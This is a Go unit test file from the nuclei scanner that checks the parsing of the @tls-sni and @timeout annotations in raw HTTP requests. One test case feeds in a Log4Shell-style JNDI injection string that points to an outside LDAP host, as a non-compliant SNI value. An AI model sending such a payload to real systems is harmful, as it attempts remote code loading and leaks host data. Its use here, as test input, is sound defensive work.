Path: blob/dev/pkg/protocols/http/request_annotations_test.go
2070 views
package http12import (3"context"4"net/http"5"testing"67"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http/httpclientpool"8"github.com/projectdiscovery/retryablehttp-go"9"github.com/stretchr/testify/require"10)1112func TestRequestParseAnnotationsSNI(t *testing.T) {13t.Run("compliant-SNI-value", func(t *testing.T) {14req := &Request{connConfiguration: &httpclientpool.Configuration{}}15rawRequest := `@tls-sni: github.com16GET / HTTP/1.117Host: {{Hostname}}`1819httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)20require.Nil(t, err, "could not create http request")2122overrides, modified := req.parseAnnotations(rawRequest, httpReq)23require.True(t, modified, "could not apply request annotations")24require.Equal(t, "github.com", overrides.request.TLS.ServerName)25require.Equal(t, "example.com", overrides.request.Host)26})27t.Run("non-compliant-SNI-value", func(t *testing.T) {28req := &Request{connConfiguration: &httpclientpool.Configuration{}}29rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}30GET / HTTP/1.131Host: {{Hostname}}`3233httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)34require.Nil(t, err, "could not create http request")3536overrides, modified := req.parseAnnotations(rawRequest, httpReq)37require.True(t, modified, "could not apply request annotations")38require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)39require.Equal(t, "example.com", overrides.request.Host)40})41}4243func TestRequestParseAnnotationsTimeout(t *testing.T) {44t.Run("positive", func(t *testing.T) {45request := &Request{46connConfiguration: &httpclientpool.Configuration{NoTimeout: true},47}48rawRequest := `@timeout: 2s49GET / HTTP/1.150Host: {{Hostname}}`5152httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)53require.Nil(t, err, "could not create http request")5455overrides, modified := request.parseAnnotations(rawRequest, httpReq)56require.NotNil(t, overrides.cancelFunc, "could not initialize valid cancel function")57require.True(t, modified, "could not get correct modified value")58_, deadlined := overrides.request.Context().Deadline()59require.True(t, deadlined, "could not get set request deadline")60})6162t.Run("negative", func(t *testing.T) {63request := &Request{64connConfiguration: &httpclientpool.Configuration{},65}66rawRequest := `GET / HTTP/1.167Host: {{Hostname}}`6869httpReq, err := retryablehttp.NewRequestWithContext(context.Background(), http.MethodGet, "https://example.com", nil)70require.Nil(t, err, "could not create http request")7172newRequestWithOverrides, modified := request.parseAnnotations(rawRequest, httpReq)73require.Nil(t, newRequestWithOverrides.cancelFunc, "cancel function should be nil")74require.False(t, modified, "could not get correct modified value")75_, deadlined := newRequestWithOverrides.request.Context().Deadline()76require.False(t, deadlined, "could not get set request deadline")77})78}798081